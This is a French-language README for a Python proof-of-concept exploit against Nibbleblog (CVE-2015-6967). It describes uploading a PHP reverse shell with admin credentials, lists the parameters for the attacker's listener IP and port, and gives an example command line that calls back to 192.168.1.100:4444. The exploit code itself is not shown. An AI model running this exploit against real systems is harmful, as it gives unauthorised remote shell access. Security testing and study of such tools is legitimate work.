CVE-2015-6967-EXPLOIT

CVE-2015-6967 PoC Exploit

Ce script Python exploite une vulnérabilité dans Nibbleblog (CVE-2015-6967) pour téléverser un reverse shell sur une cible vulnérable. Le script prend en entrée l'URL cible, les identifiants de l'utilisateur, votre IP et port local, puis exploite la vulnérabilité en téléversant un reverse shell PHP.

Disclaimer

Ce script est destiné à des fins éducatives uniquement. Ne l'utilisez PAS pour des activités illégales. Obtenez toujours une autorisation explicite avant de tester ou d'exploiter des vulnérabilités sur des systèmes que vous ne possédez pas ou pour lesquels vous n'avez pas l'autorisation d'accès.

Requirements

• Python 3.x
• Bibliothèque requests
• Bibliothèque argparse
• Bibliothèque colorama
• Bibliothèque pyfiglet

Vous pouvez installer les dépendances requises à l'aide de la commande suivante :

pip install requests colorama pyfiglet

Usage

Le script nécessite plusieurs paramètres pour s'exécuter :

• url : URL cible de Nibbleblog (ex. http://10.10.14.14/nibbleblog)
• -U, --user : Nom d'utilisateur pour l'admin Nibbleblog
• -P, --password : Mot de passe pour l'admin Nibbleblog
• -p, --host-port : Votre port local pour que le reverse shell se connecte
• -H, --host-ip : Votre adresse IP locale pour que le reverse shell se connecte

Exemple

python exploit.py http://10.10.14.14/nibbleblog -U admin -P password123 -p 4444 -H 192.168.1.100